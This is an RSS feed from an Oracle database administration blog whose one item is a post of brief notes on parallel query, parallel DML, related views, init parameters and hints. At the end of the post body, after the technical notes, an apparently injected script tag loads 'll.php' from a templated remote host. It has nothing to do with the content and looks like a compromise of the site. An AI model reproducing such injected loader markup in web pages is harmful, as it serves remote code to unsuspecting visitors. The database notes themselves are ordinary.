<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Oracle Database Administration Blog &#187; PARALLEL Query</title>
	<atom:link href="http://www.bestremotedba.com/tag/parallel-query/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.bestremotedba.com</link>
	<description>Specially Created for Remote DBAs and Junior DBAs</description>
	<lastBuildDate>Fri, 30 Dec 2011 05:43:39 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>PARALLEL Query,DML,Execution</title>
		<link>http://www.bestremotedba.com/parallel-querydmlexecution/</link>
		<comments>http://www.bestremotedba.com/parallel-querydmlexecution/#comments</comments>
		<pubDate>Fri, 23 Oct 2009 23:44:12 +0000</pubDate>
		<dc:creator>mudhalvan</dc:creator>
				<category><![CDATA[Database Administration]]></category>
		<category><![CDATA[PARALLEL DML]]></category>
		<category><![CDATA[PARALLEL Execution]]></category>
		<category><![CDATA[PARALLEL Query]]></category>
		<category><![CDATA[PDML]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=273</guid>
		<description><![CDATA[PARALLEL Query,DML,Execution]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>PARALLEL Query,DML,Execution</p>
<p>- data dict Related to PARALLEL Operations:<br />
	V$PX_PROCESS,<br />
	V$PX_SYSSTAT,<br />
	V$PQ_SYSSTAT,<br />
	V$PQ_SLAVE,<br />
    DBA_TABLES.degree,<br />
	DBA_INDEXES.degree</p>
<p>- init parameters related to PARALLEL Opearions:</p>
<p>  &#8211; parallel_min_servers = n       ora_p0NN_SID servers created at startup<br />
  &#8211; parallel_max_servers = n<br />
  &#8211; parallel_server_idle_time = n  servers terminated if idle this long<br />
  &#8211; parallel_threads_per_cpu       default recommended<br />
  &#8211; parallel_min_percent = n       if n servers requested not available, do<br />
      not run query and return an error<br />
- parallel DML (PDML):<br />
  &#8211; must explicitly enable pdml:  alter session enable parallel DML;<br />
  &#8211; direct path insert (direct load insert): use /*+ append */ hint<br />
  &#8211; inserted data is placed above the high water mark<br />
  &#8211; triggers must be disabled during parallel DML<br />
  &#8211; parallel statement MUST be committed before issuing another statement<br />
  &#8211; set transaction use rollback segment &#8230; not valid with pdml<br />
  &#8211; updates and deletes not parallelized on non-partitioned tables<br />
- hints override parallel defaults set in create table statement<br />
    &#8220;delete /*+ parallel(<tname>, <degree_parallel>) */ from <tname>&#8221; </p>
<p>- create table emp1_dept parallel 5 as select * from scott.emp where deptno=10;</p>
<p>- ALTER TABLE emp PARALLEL 4;     note, the 4 is optional, oracle can set degree</p>
<p>- space management implications: objects created in parallel will have at least as many extents as parallel execution servers used.</p>
<p>- parallelization of functions/packages: must be created with</p>
<p>    create function &#8230; parallel_enable &#8230;</p>
<p>- PQ performs direct reads so blocks not written to buffer cache</p>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/parallel-querydmlexecution/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

